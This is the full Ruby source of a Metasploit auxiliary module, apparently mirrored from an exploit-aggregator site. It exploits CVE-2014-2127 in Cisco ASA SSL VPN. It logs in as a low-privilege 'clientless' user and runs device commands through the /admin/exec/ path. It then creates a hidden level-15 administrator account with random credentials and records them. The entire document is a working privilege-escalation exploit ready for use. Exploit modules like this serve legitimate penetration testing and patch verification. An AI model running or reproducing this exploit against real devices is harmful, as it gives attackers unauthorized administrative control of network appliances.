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## https://sploitus.com/exploit?id=PACKETSTORM:181167
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco ASA SSL VPN Privilege Escalation Vulnerability',
'Description' => %q{
This module exploits a privilege escalation vulnerability for Cisco
ASA SSL VPN (aka: WebVPN). It allows level 0 users to escalate to
level 15.
},
'Author' =>
[
'jclaudius <jclaudius[at]trustwave.com>',
'lguay <laura.r.guay[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-2127'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa'],
['URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18908']
],
'DisclosureDate' => '2014-04-09',
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless']),
OptInt.new('RETRIES', [true, 'The number of exploit attempts to make', 10])
], self.class
)
end
def validate_cisco_ssl_vpn
begin
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)
vprint_good("Server is responsive")
rescue ::Rex::ConnectionError, ::Errno::EPIPE
return false
end
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET'
)
if res &&
res.code == 302
res = send_request_cgi(
'uri' => '/+CSCOE+/logon.html',
'method' => 'GET',
'vars_get' => { 'fcadbadd' => "1" }
)
end
if res &&
res.code == 200 &&
res.body.include?('webvpnlogin')
return true
else
return false
end
end
def do_logout(cookie)
res = send_request_cgi(
'uri' => '/+webvpn+/webvpn_logout.html',
'method' => 'GET',
'cookie' => cookie
)
if res &&
res.code == 200
vprint_good("Logged out")
end
end
def run_command(cmd, cookie)
reformatted_cmd = cmd.gsub(/ /, "+")
res = send_request_cgi(
'uri' => "/admin/exec/#{reformatted_cmd}",
'method' => 'GET',
'cookie' => cookie
)
res
end
def do_show_version(cookie, tries = 3)
# Make up to three attempts because server can be a little flaky
tries.times do |i|
command = "show version"
resp = run_command(command, cookie)
if resp &&
resp.body.include?('Cisco Adaptive Security Appliance Software Version')
return resp.body
else
vprint_error("Unable to run '#{command}'")
vprint_good("Retrying #{i} '#{command}'") unless i == 2
end
end
return nil
end
def add_user(cookie, tries = 3)
username = Rex::Text.rand_text_alpha_lower(8)
password = Rex::Text.rand_text_alphanumeric(20)
tries.times do |i|
vprint_good("Attempting to add User: #{username}, Pass: #{password}")
command = "username #{username} password #{password} privilege 15"
resp = run_command(command, cookie)
if resp &&
!resp.body.include?('Command authorization failed') &&
!resp.body.include?('Command failed')
vprint_good("Privilege Escalation Appeared Successful")
return [username, password]
else
vprint_error("Unable to run '#{command}'")
vprint_good("Retrying #{i} '#{command}'") unless i == tries - 1
end
end
return nil
end
def do_login(user, pass, group)
begin
cookie = "webvpn=; " +
"webvpnc=; " +
"webvpn_portal=; " +
"webvpnSharePoint=; " +
"webvpnlogin=1; " +
"webvpnLang=en;"
post_params = {
'tgroup' => '',
'next' => '',
'tgcookieset' => '',
'username' => user,
'password' => pass,
'Login' => 'Logon'
}
post_params['group_list'] = group unless group.empty?
resp = send_request_cgi(
'uri' => '/+webvpn+/index.html',
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => post_params
)
if resp &&
resp.code == 200 &&
resp.body.include?('SSL VPN Service') &&
resp.body.include?('webvpn_logout')
vprint_good("Logged in with User: #{datastore['USERNAME']}, Pass: #{datastore['PASSWORD']} and Group: #{datastore['GROUP']}")
return resp.get_cookies
else
return false
end
rescue ::Rex::ConnectionError, ::Errno::EPIPE
return false
end
end
def run_host(ip)
# Validate we're dealing with Cisco SSL VPN
unless validate_cisco_ssl_vpn
vprint_error("Does not appear to be Cisco SSL VPN")
return
end
# This is crude, but I've found this to be somewhat
# interimittent based on session, so we'll just retry
# 'X' times.
datastore['RETRIES'].times do |i|
vprint_good("Exploit Attempt ##{i}")
# Authenticate to SSL VPN and get session cookie
cookie = do_login(
datastore['USERNAME'],
datastore['PASSWORD'],
datastore['GROUP']
)
# See if our authentication attempt failed
unless cookie
vprint_error("Failed to login to Cisco SSL VPN")
next
end
# Grab version
version = do_show_version(cookie)
if version &&
version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
print_good("Show version succeeded. Version is Cisco ASA #{version_match[1]}")
else
do_logout(cookie)
vprint_error("Show version failed")
next
end
# Attempt to add an admin user
creds = add_user(cookie)
do_logout(cookie)
if creds
print_good("Successfully added level 15 account #{creds.join(", ")}")
user, pass = creds
report_escalated_creds(user, pass)
else
vprint_error("Failed to created user account on Cisco SSL VPN")
end
end
end
def report_escalated_creds(username, password)
status = Metasploit::Model::Login::Status::SUCCESSFUL
service_data = {
address: rhost,
port: rport,
service_name: 'https',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: password,
username: username
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
access_level: 'Level 15',
status: status,
last_attempted_at: DateTime.now
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end